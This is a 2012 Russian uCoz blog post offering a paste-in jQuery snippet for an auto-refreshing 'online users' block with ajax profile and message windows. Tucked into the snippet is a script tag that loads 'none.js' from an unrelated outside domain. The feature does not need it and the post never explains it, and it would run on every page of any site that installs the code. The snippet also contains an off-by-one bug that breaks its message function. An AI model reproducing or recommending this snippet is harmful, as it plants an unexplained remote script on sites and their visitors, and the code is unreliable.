Четверг, 28.11.2024, 02:15

Приветствую Вас Гость | RSS


Главная | | Регистрация | Вход

Меню сайта
Форма входа
Kolibri tubes
Bluff Titler DX9
Наш опрос
Оцените мой сайт
Всего ответов: 119
Главная » 2012 » Октябрь » 16 » Новый простой динамичный список онлайн пользователей
18:51
Новый простой динамичный список онлайн пользователей
Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный

Установка:

В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:

Code
<div class="apoulist" style="display:none;">  
  $ONLINE_USERS_LIST$  
  </div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>  
  .apo {  
  width:95%;  
  height:15px;  
  background:rgba(230, 230, 230, 0.8);  
  padding:2px;  
  vertical-align:middle;  
  margin-bottom:5px;  
  font-weight:bold;  
  border-left:1px solid #ccc;  
  border-top:1px solid #ccc;  
  border-radius:2px;  
  }  

  .apo a {  
  text-decoration:none;  
  }  
  </style>  
  <script>  
  // Удобная динамичная онлайн статистика by Apocalypse  
  function apoOnGet() {  
  // Основная функция получения и стилизации списка пользователей  
  $('.apoulist').load('# .apoulist', function() {  

  // Убираем запятые  
  $('.apoulist').html($('.apoulist').html().replace(/\,/g, ''));  

  // Делаем форму видимой  
  $('.apoulist').fadeIn();  

  // Превращаем список пользователей в блочный вариант + отключаем события при клике  
  $('.apoulist a').each(function() {  
  $(this).html('<table class="apo"><td>' + $(this).html() + '</td><td align="right"><img src="http://s36.ucoz.net/.s/img/icon/us.png" onclick="apoGetP(\'' + $(this).text() + '\')" class="apoprofile" height="11px" title="Мини-профиль"> <img onclick="apoGetPm(\'' + $(this).attr('href') + '\')" src="http://s36.ucoz.net/.s/img/icon/mf.png" height="11px" title="Отправить сообщение"></td></table>');  
  }).removeAttr('onclick').click(function() {return false});  
  });  
  };  

  // Запускаем функцию при загрузке страницы  
  apoOnGet();  

  // Запускаем интервал автообновления  
  setInterval(function() {  
  apoOnGet();  
  }, 30000);  

  // Функция получения профиля  
  function apoGetP(name) {  
  new _uWnd('apoGetP', 'Профиль ' + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/8-0-' + name.replace(/\-/gi, '~'), xml:false});  
  }  

  // Функция получения страницы Личных Сообщений  
  function apoGetPm(url) {  
  var url2 = url.split('-');  
  var url3 = url2[url2.length];  
  new _uWnd('apoGetPm', 'Сообщение', 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/14-' + url3 + '-0-1', xml:false});  
  }  
  // ApoTeam (c) 2012  
  </script>
Просмотров: 606 | Добавил: Aninew | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Поиск
Часы
Flag Counter
Flag Counter
Translator
Block title
Статистика

Онлайн всего: 11
Гостей: 11
Пользователей: 0
Block title
Календарь
«  Октябрь 2012  »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
293031
Архив записей
Mobile Animations
Наш баннер
ОБЛАКО САЙТА
Агата Кристи детектив Пуаро сериал Кино Закат Отдых Поздравляю Шаблон Картинки уроки дети вино фрукты город 3D текстуры свадьба винтаж море фото ангел Кофе лето девушки украшения png Фотошоп зима Новый год девушка вода звезды ночь программы 8 марта свечи коллаж мужчины праздник цветы любовь романтика розы природа весна анимация утро флеш календарь дизайн design свеча блондинка мужские Photoshop тюльпаны костюм женские роза фотомонтаж шаблоны Солдат авто light Elegant Photo Flower flowers fire альфа год white autumn jpg десерт JUICE gold cute Night snow love heart Red birthday logo Flyer Party label icons card farm element скачать бесплатно Magic menu проект animation kiss Motion

Copyright MyCorp © 2024

Сделать бесплатный сайт с uCoz